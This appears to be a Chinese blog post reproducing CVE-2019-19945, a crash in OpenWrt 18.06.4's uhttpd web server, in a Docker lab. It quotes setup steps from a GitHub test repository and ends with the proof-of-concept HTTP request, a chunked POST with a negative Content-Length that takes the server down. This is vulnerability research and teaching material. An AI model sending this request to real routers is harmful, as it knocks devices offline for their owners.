根据官方漏洞的文档,该漏洞的复现工作我会基于openwrt的18.06.4这个版本进行测试。我选取的环境是渗透测试常用的kali-Linux系统,然后在其中搭建docker环境来完成相应的实验环境的部署。我通过这个核心命令获取docker环境:
sudo docker import https://archive.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-generic-rootfs.tar.gz openwrt-x86-generic-18.06.4-rootfsq
部署完毕后结果如下:
接下来按照要求创建相应的容器获得控制,如下:
之后我们按照要求一步步的搭建漏洞的环境,uhttpd进行测试,具体测试如下:
但是发现根据相应的方法并没有什么效果,可能是这个docker环境比较简陋,不能满足复现所需要的环境要求。所以选择更换别的方法进行复现。
首先对Server端进行了部署的操作,具体部署如下:
最终配置服务端部署完毕结果如下:
然后我们启动服务器即可,如下:
检查docker进程并且查看服务器端的IP地址:
可以发现 web服务成功启动了
接下来设置相应的客户端进行复现:server_ip填写刚才的服务器容器的ip地址
之后我们也启动客户端的环境:
我们可以看下目前处于启动状态的docker环境 为
接下来我们基于客户端 来利用poc对server进行攻击测试
接下来我们测试服务器端的效果
网页已经出现错误了
相应的docker也出现了中断的情况
复现成功!
漏洞复现的参考链接:
并未成功:
https://xz.aliyun.com/t/9041?time__1311=n4%2BxuDgD9DyAeAKD%3DDODlxG2b7eg4xD5Qq3QYx&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DNM5mJ6h4u8mxmZVo4EwUoET8EDe5-xsp_sudEfQD2CgHbu6XyzKawXqREAot5Eoy%26wd%3D%26eqid%3Df12ef11d000288aa0000000466385cc7
成功的复现参考地址:
https://github.com/delicateByte/CVE-2019-19945_Test
具体的复现思路
This is the code for the first Proposed CVE
Install Docker
Build & RUN Servercd Server docker build -t server/cve .docker run -d --name server -p 80:80 server/cve
Get Server Container IPLinuxsudo docker container inspect server | grep -i IPAddressWindows Powershelldocker container inspect server | Select-String "IPAddress"Extract IP and add it to Command for building the ClientYou can check the server by going to localhost:80 in your browser
Build & Run Clientby uncommenting the CMD in the Client/Dockerfile the attack will automatically start with the start of the containercd ../Client/docker build --build-arg server_ip=<SERVER_IP> -t client/cve .docker run -d -p 8080:8080 client/cve
Attach to CLient Docker docker container lsfind client/cve container && attachdocker exec -it <ContainerID> /bin/sh
When Ready Launch Attack ./crash.sh
Server will be unable to respond
POC内容:
POST /cgi-bin/crash HTTP/1.0
Transfer-Encoding: chunked
Content-Length: -100000
持续更新!接下来会逐步展示该漏洞的形成原理!